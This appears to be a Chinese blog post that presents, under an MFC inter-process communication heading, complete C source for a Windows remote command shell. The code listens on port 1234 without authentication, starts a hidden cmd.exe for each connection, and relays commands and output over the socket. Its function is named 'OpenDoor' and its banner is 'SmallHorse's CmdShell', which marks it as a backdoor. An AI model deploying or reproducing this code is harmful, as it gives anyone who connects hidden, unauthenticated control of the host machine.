MFC之进程间的通信---管道,telnet服务端

来源:互联网 发布:网络监控软件手机版下载 编辑:程序博客网 时间:2024/05/22 04:32
MFC应用程序 和 cmd.exe程序之间的通信。
#include<winsock2.h>#include <stdio.h>#pragma comment (lib, "Ws2_32.lib")int port = 1234;DWORD WINAPI ClientThread(LPVOID lpParam);void OpenDoor(){    // 初始化 Winsock.    WSADATA wsaData;    SOCKET m_socket,AcceptClient;    sockaddr_in Service,Client;    int ClientSize,i=0;    int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );    if ( iResult != NO_ERROR )        return;        // 创建一个 socket.        m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );    if(m_socket==SOCKET_ERROR)        return;    Service.sin_family = AF_INET;    Service.sin_addr.s_addr = htonl(INADDR_ANY);    Service.sin_port = htons( port );        if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)        return;//邦定        if (listen(m_socket,5)==SOCKET_ERROR)        return;//最大监听列队5个    printf(" smallhorse Listen On Port: %d ^*^ ",port);    ClientSize=sizeof(Client);    while(1)    {        AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);        if(AcceptClient==SOCKET_ERROR)            return;//接受连接        printf( "Client Connected. ");        char *sendbuf = "Thanks For Using SmallHorse's CmdShell! Good Luck!\n";        send( AcceptClient, sendbuf, strlen(sendbuf), 0 );                if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)            printf("Create Thread Error! ");        Sleep(1000);    }    WSACleanup();    return;}DWORD WINAPI ClientThread(LPVOID lpParam){    int ret;    char Buf[1024];    HANDLE Rpipe,Wpipe,Wfile,Rfile;    SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;        SECURITY_ATTRIBUTES sa;    sa.nLength=sizeof(sa);    sa.bInheritHandle=TRUE;    sa.lpSecurityDescriptor=NULL;        ret=CreatePipe(&Rpipe,&Rfile,&sa,0);    ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果        STARTUPINFO startinfo;    GetStartupInfo(&startinfo);    startinfo.dwFlags= STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;    startinfo.hStdInput = Wfile;    startinfo.hStdError= startinfo.hStdOutput=Rfile;    startinfo.wShowWindow = SW_HIDE;         char cmdline[MAX_PATH];    GetSystemDirectory(cmdline,MAX_PATH);    strcat(cmdline,("\\cmd.exe"));        PROCESS_INFORMATION proinfo;    ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);    unsigned long ByteRec;    while(1)    {        Sleep(100);        PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);        if(ByteRec){            ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);            if(!ret)                break;            ret=send(AcceptClient,Buf,ByteRec,0);            printf("发送%s\n", Buf);            if(ret<=0)            {                break;                printf("悲剧\n");            }        }        else{            ByteRec=recv(AcceptClient,Buf,1024,0);            if(ByteRec<=0)                break;            printf("接收到%s\n", Buf);            ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);            if(!ret)            {                break;                printf("Error 哦\n");            }        }    }    return 0;}int main(int argc, char *argv[]){    printf("Listen Port:%d\n", port);    OpenDoor();    return 0;}

留空...